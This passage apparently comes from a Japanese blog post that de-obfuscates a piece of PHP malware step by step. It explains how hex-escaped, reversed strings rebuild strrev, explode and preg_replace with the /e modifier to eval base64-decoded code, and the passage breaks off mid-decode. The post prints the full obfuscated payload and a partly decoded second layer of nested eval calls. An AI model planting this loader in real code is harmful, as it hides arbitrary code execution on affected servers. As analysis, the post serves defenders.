Z2gHXzQTMcFzM4xlMyEDX4UDecJzMxwVO3gHXyITMcNDN4x1MxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcJiLn4SNyInZk4yJzYTMcF2N4xlMxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxwVZ2gHXwYDXhZDecJDNxwVMzgHXyETMcdiL1ITayZGJuciIuciL1IjcmRiLnUzNcdzN4x1NxEDXlZDecRjNcJzM4xlM0EDXwcDecJjMxw1MzgHXxMTMcVzN4xlNyEDXlZDecJzMxwlN2gHX2ITMcdDN4xFN0EDX4YDecZjMxwFZ2gHXzQTMcFmN4xFN0EDXzUDecBjMxwVN3gHX2ITMcdiL1ITayZGJuciIuciL1IjcmRiLnMjNxwVY3gHXyETMcNmN4xlNxEDX3UDecFzMxw1M3gHXyATMchTN4xlMzEDX5cDecFzNcFzM4xlMzEDXjZDecJTMxwFO0gHXzQTMcVmN4xFM2wVY2gHXyQTMclzN4xlNwEDX3QDecRDNxw1Y2gHXyETMchDN4xlMxEDXi4iM1QXamRCLyUjZpZGJsUjMmlmZkgSZjFGbwVmcfdWZyB3OiIjM4xFM1wVN2gHX0QTMcZmN4x1M0EDX1YDecRDNxwlZ1gHX0YDX2MDecVDNxw1M3gHXxQTMcJjN4xFM1w1Y2gHXxQTMcZzN4xVN0EDXwQDecJCI9AiM1QXamRyOiI2M4xVM1wlMygHXxYDXjVDecJDNchjM4xFN1EDXxYDecZjNxwVN2gHXiASPgITNmlmZksjI1QTMcljN4xFMwEDX5IDecNTNcVmM4xFM1wFM0gHXiASPgUjMmlmZkcCKsFmdltjIwIDecVzNcBjM4xFM2wFN2gHX0QTMcRjM4xlIg0DI1ITayRGJgsTN1kmcmRiLnkiIn4iM1kmcmRCI9ASNyInZkAyOngDN4xFN0EDXjZDecJTMxwFO0gHXyETMcdCI9ASNykmcmRyOnI2M4xVM1wVOygHXyQDXkNDecdCI9AiM1kmcmRyOnQDV2YWfVtUTnASPgITNyZGJ7cCKuVnc0VmckcCI9ASN1InZkszJyUDdpZGJsITNmlmZkwSNyYWamRCKuJXY0VmckszJg0DI1UTayZGJ+aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";</pre>
<p>なにかをBASE64エンコードした文字列</p>
<pre>//$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
 $eva1tYlbakBcVSir = "edolpxe";</pre>
<p>16進を戻すと、「edolpxe」が出てくる。これは「explode」を逆転させたもの。</p>
<pre>//$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
 $eva1tYldakBcVSir = "strrev";</pre>
<p>逆転した文字をもとに戻すための 「strrev」 関数が16進に変換してある。</p>
<pre>//$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";
 $eva1tYldakBoVS1r = "ecalper_gerp";</pre>
<p>これも16進を元に戻して逆転させると「preg_replace」になる。</p>
<pre>//$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";
 $eva1tYidokBoVSjr = ';))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("\1");:@(.+)@ie';</pre>
<p>これも16進を元に戻して逆転させると　「ei@)+.(@:;)"1\"(lave:@eval(base64_decode($eva1tYidakBcVSjr[1]));」という、preg_replaceに使うであろう後方部分が出てくる。一番最初の行に定義されているBASE64をデコードする部分も見える。</p>
<pre>//$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);
 $eva1tYldokBcVSjr = strrev( "ecalper_gerp" );</pre>
<p>この行で、先ほどの逆転16進文字を元に戻している。strrev( "ecalper_gerp" ) → preg_replace</p>
<pre>//$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
 $eva1tYldakBcVSjr = strrev( "edolpxe" );</pre>
<p>この行で、先ほどの逆転16進文字を元に戻している。strrev( "edolpxe" ) → explode</p>
<pre>//$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);
 $eva1tYidakBcVSjr = $eva1tYldakBcVSjr( '+', $eva1fYlbakBcVSir );</pre>
<p>つまり $eva1tYidakBcVSjr = explode('+',BASE64エンコード文字列);</p>
<p>explodeは第2引数の文字列を第1引数の文字で分割する関数です。つまり、1行目のBASE64文字列の途中に出てくる「+」の文字を境にして、文字列を分割することになります。<br />
これをやると、</p>
<pre>Array
 (
 [0] =&gt; 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
 [1] =&gt; aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9
 )</pre>
<p>上記のように、2つに分けることができました。</p>
<pre>//$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];
 $eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.001891];</pre>
<p>一つ上の行のexplodeで分割した配列を取り出しますが、[0.001891]はint型に直すと[0]になりますので、先頭の7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn….Jg0DI1UTayZGJが取り出されます。<br />
実はこのコードは一見オトリのようで、表面上は何も実行される部分がないが、解析を進めると後に重要な役割を果たす。</p>
<pre>//$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);
 $eva1tYidokBcVSjr = $eva1tYldakBcVSjr( ':', $eva1tYidokBoVSjr);</pre>
<p>つまり、</p>
<pre> $eva1tYidokBcVSjr = explode(':',';))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("\1");:@(.+)@ie');</pre>
<p>を実行している。<br />
ここで、 : を境にして分割するので、</p>
<pre> Array
 (
 [0] =&gt; ;))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@
 [1] =&gt; eval("\1");
 [2] =&gt; @(.+)@ie
 )</pre>
<p>の3つの配列が取り出される。</p>
<pre>//$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
$eva1tYldokBcVSjr( $eva1tYidokBcVSjr[2], $eva1tYidokBcVSjr[1], strrev( $eva1tYidokBcVSjr[0.001891]) );</pre>
<p>つまり、</p>
<pre>preg_replace( "@(.+)@ie", 'eval("\1");', :@eval(base64_decode($eva1tYidakBcVSjr[1])); );</pre>
<p>ということ。最初にBASE64文字列を+で分割した後方の[1]側がbase64デコードされることとなる。</p>
<p>ここで、base64_decode(BASE64文字列の+から後方部分)　をすると、</p>
<pre>if (!isset($evalUdCXTDQERmWnDS)) {function evallwhVfIVnWPbT($s){$e = ""; for ($a = 0; $a &lt;= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evallwhVfIVnWPbT(';))"=ASf7kyaNRmbBRXWvNnRjFUWJxWY2VGJoUGZvNWZk9FN2U2chJGIuJXd0Vmc7BSKr1EZuFEdZ92cGNWQZlEbhZXZkgiRTJkZPl0ZhRFbPBFaO1EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"7kiI90ESkhmUzMmIoY0UCZ2TJdWYUx2TQhmTNxWY2VWPXNFZnNEZVlVaFNVbhxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"7kiI90TQjBjUIFmIoY0UCZ2TJdWYUx2TQhmTNxWY2VWPXZVchZlcpV2VUxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"7kiI9QzVhJCKGNlQm9USnFGVs9EUo5UTsFmdl1jQmhFRVdEdiVFZCxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"==wOpISP9EVS2R2VJJCKGNlQm9USnFGVs9EUo5UTsFmdl1TZVpnRuV2